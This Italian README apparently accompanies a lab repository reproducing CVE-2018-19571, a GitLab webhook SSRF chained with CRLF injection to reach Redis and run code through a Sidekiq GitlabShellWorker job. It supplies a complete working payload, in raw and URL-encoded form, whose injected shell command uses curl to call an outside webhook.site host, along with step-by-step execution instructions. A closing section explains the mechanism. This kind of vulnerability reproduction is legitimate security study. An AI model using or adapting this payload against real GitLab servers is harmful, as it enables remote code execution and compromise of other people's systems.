
Dimostrazione di CVE-2018-19571: GitLab SSRF CVE
Questo repository è una riproduzione di CVE-2018-19571, e di come, quando combinato con un exploit di injection CRLF, può portare all'esecuzione di codice in remoto (RCE).
GitLab CE/EE, versioni 8.18 fino a 11.x precedenti a 11.3.11, 11.4 precedenti a 11.4.8 e 11.5 precedenti a 11.5.1, sono vulnerabili a una vulnerabilità SSRF nei webhook.
Per questa riproduzione, useremo un'immagine GitLab vulnerabile e la eseguiremo con Docker Compose.
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
L'obiettivo è fornire un URL webhook che, una volta elaborato, faccia sì che un payload venga inviato a Redis.
Questo payload, che verrà accodato, conterrà un Job Sidekiq che, una volta eseguito, eseguirà codice shell arbitrario. Nel nostro caso, copierà il valore della flag per noi.
Prima eseguiremo i passaggi, poi spiegheremo cosa fa ciascuno di essi.
Crea un account o accedi usando l'account root.
La password di root dovrebbe essere
password, come specificato nel file , ma a volte non viene caricata correttamente.
initial_root_passwordIn questi casi, dovrai modificare direttamente la password dell'account root.
docker exec -it gitlab-ssrf_web_1 /bin/bash
# Inside the shell
gitlab-rails console
# Inside the console
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
Quindi, vai su http://localhost:5080 e accedi.

Vai alla pagina di creazione del progetto.
Poi, vai su http://localhost:5080/projects/new e clicca sulla scheda Import project. Dovresti vedere che c'è un'opzione: Repo by URL. La useremo per eseguire il nostro attacco SSRF.

Crea un webhook per ricevere la flag.
Crea un URL webhook su https://webhook.site/.
Sostituisci l'URL webhook nel seguente payload:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
Infine, codifichiamo il payload usando un URL Encoder. Nota che codificheremo solo il payload (che include gli spazi iniziali e le interruzioni di riga), e non la prima e l'ultima riga. Dovrai anche usare CRLF. Infine, sostituisci i seguenti caratteri, se presenti, con la rispettiva codifica:
_: %5F.: %2E-: %2Dgit://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
(Oppure puoi usare direttamente questo payload sopra e visitare https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/ per vedere l'output).

Dovresti vedere che è stata effettuata una richiesta GET al webhook (e si ripeterà mentre GitLab tenta ripetutamente di recuperare il repository).

Se quanto sopra non funziona, potresti dover abilitare le richieste in uscita verso servizi interni.

Puoi farlo su http://localhost:5080/admin/application_settings/network dopo aver effettuato l'accesso come root.
Stiamo sfruttando due vulnerabilità per questo attacco. La prima vulnerabilità è SSRF, in cui i servizi interni possono essere raggiunti tramite IPv6. Puoi trovare maggiori informazioni nell'issue GitLab qui: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242.
La seconda vulnerabilità è il modo in cui le interruzioni di riga erano permesse nell'URL per i webhook.
Combinate, queste due ci permettono di passare un payload al servizio interno. In questo caso, stiamo prendendo di mira il servizio Redis locale.
Il payload che passiamo accoda un nuovo job nella coda Redis, e questo job viene effettivamente elaborato da Sidekiq, un esecutore di job asincroni che funziona con Ruby on Rails. Stiamo prendendo di mira specificamente la classe job GitlabShellWorker, che ci permette di eseguire codice arbitrario.
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
Quindi, passando open('| curl <URL HERE>').read ed eseguendolo con class_eval, possiamo innescare l'esecuzione di codice in remoto.